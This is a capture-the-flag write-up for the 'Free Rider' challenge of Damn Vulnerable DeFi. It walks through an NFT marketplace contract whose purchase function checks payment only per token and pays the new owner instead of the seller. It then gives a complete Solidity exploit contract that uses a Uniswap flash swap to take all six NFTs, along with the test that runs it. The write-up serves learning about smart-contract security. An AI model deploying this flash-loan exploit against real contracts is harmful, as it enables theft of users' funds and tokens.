A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH. A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way. You want to build some rep with this buyer, so you've agreed with the plan. Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant. (link
Challenge created by @tinchoabbate.
For this challenge, we have two contracts: FreeRiderBuyer
(source code) and FreeRiderNFTMarketplace
(source code).
FreeRiderBuyer
:
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner);
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this));
received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
This contract is responsible for implementing the buyer role in our challenge. It sets the attacker address as the partner (line 23
) and implements the onERC721Received
function to receive NFT that:
- checks if the sender is the NFT token contract (line
40
) - checks if the
tx.origin
is the attacker address (line41
) - checks if the token ID is between 0 and 5 (line
43
) - check if the owner of the token received is the contract (line
44
) - finally, after it receives
6
tickets, it sends45 ETH
to the attacker address (lines46-48
)
FreeRiderNFTMarketplace
:
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public token;
uint256 public amountOfOffers;
// tokenId -> price
mapping(uint256 => uint256) private offers;
event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
require(price > 0, "Price must be greater than zero");
require(
msg.sender == token.ownerOf(tokenId),
"Account offering must be the owner"
);
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
receive() external payable {}
}
It's the main contract of the challenge.
constructor
:- it mints some tokens inside the constructor (lines
25-32
), that, according to the project setup are6
NFTs (setup)
- it mints some tokens inside the constructor (lines
offersMany
:- prevents reentrancy by using the
nonReentrant
modifier - checks if the token array has the same length for the prices array (i.e. if each token has a corresponding price) - line
35
- calls
_offerOne
with each token ID and the corresponsign price (lines36-38
)
- prevents reentrancy by using the
_offersOne
(private
function):- checks if the token price is
>0
(line42
) and if themsg.sender
is the owner of the token offered (lines44-47
) - checks if the token transfer has been approved (lines
49-53
) - updates the
offers
variable with the token ID and its corresponding price (line55
) and increments theamountOfOffers
counter (line57
)
- checks if the token price is
buyMany
:- prevents reentrancy by using the
nonReentrant
modifier - for each token ID in
tokenIds
parameter, it calls the private function_buyOne
(line64
)
- prevents reentrancy by using the
_buyOne
:- gets the price to pay for the corresponding token (line
69
) - checks if the price to pay is
>0
, meaning that there is an offer for that token (line70
) - checks if the
msg.value
is>=
than the amount to pay (line72
) - decrements the
amountOfOffers
counter (line74
) - transfers the token from the current owner to
msg.sender
by callingsafeTransferFrom
(line77
) - sends the price to pay to the NFT owner (line
80
), which should be the seller
- gets the price to pay for the corresponding token (line
The vulnerable function is _buyOne
; in particular, there are 2
bugs in this function:
- the token seller will never receive the amount because the
sendValue
function (line80
) is called after the token ownership is transferred (line77
). It means that the new owner of the token will also receive the amount offered for that token msg.value
is checked only for a single token offer (line72
) and not for the total amount of offers. Since_buyOne
is executed inside a loop, if an attacker has at least the balance for the maximum token price, they can take ownership of all the tokens even if the sum of all their prices is greater. Since the NFT price is15 ETH
, we need at least15 ETH
to steal all the NFT (instead of15*6=90 ETH
).
We start with 0.5 ETH
balance but we need at least 15 ETH
to take all the tokens successfully. If we take a closer look at the challenge setup file, we can see that a UniswapV2 pair is deployed. After some research, I found that we can request flash swaps (i.e. flash loans). Using flash swaps, we can request the amount needed to perform the attack as long as we pay the amount back plus an additional fee of ~0.3%
.
The solution consists of the following steps:
- swap
15 WETH
using the Uniswap pair - to receive the flash loan, we need to implement the
uniswapV2Call
function - insider the
uniswapV2Call
function, withdraw the15 ETH
- call the
buyMany
function by providing the list of tokens IDs (i.e.0,1,2,3,4,5
) with an offer of15 ETH
each - deposit back the amount requested plus an additional fee of
~0.3%
- once the execution of
uniswapV2Call
is completed, we can transfer all the tokens to the buyer and the ETH we obtained from selling the tokens to our attacker address (even if it's not needed to solve this challenge)
AttackFreeRider.sol
:
// ...
/**
* @title AttackFreeRider
*/
contract AttackFreeRider {
IUniswapV2Factory factory;
IMarketplace marketplace;
address TOKEN;
address WETH;
uint256 price;
constructor(uint256 _price, address _factory, address _marketplace, address _token, address _weth) {
factory = IUniswapV2Factory(_factory);
marketplace = IMarketplace(_marketplace);
TOKEN = _token;
WETH = _weth;
price = _price;
}
function run(address _attacker, address _buyer) external {
address pair = factory.getPair(TOKEN, WETH);
bytes memory data = abi.encode(WETH, price);
IUniswapV2Pair(pair).swap(price, 0, address(this), data);
// send tokens to buyer and receive ETH reward
for (uint i=0; i<6; i++) {
INFT(marketplace.token()).safeTransferFrom(address(this), _buyer, i);
}
// send all the ETH received to the attacker address
(bool success,) = _attacker.call{value: address(this).balance}("");
assert(success);
}
function uniswapV2Call(address, uint, uint, bytes calldata) external {
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
assert(msg.sender == factory.getPair(token0, token1));
// deposit WETH to get (15) ETH
IWETH(token0).withdraw(price);
uint[] memory tokenIds = new uint[](6);
for (uint i=0; i<tokenIds.length; i++) {
tokenIds[i] = i;
}
// offer 15 ETH for each token
marketplace.buyMany{value: price}(tokenIds);
// amount + fee
uint256 amount = price + (price * 3 / 997) + 1;
IWETH(token0).deposit{value: amount}();
assert(IWETH(token0).transfer(msg.sender, amount));
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
free-rider.challenge.js
:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const attack = await (await ethers.getContractFactory('AttackFreeRider', attacker))
.deploy(NFT_PRICE, this.uniswapFactory.address, this.marketplace.address, this.token.address, this.weth.address);
await attack.connect(attacker).run(attacker.address, this.buyerContract.address);
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(MARKETPLACE_INITIAL_ETH_BALANCE);
});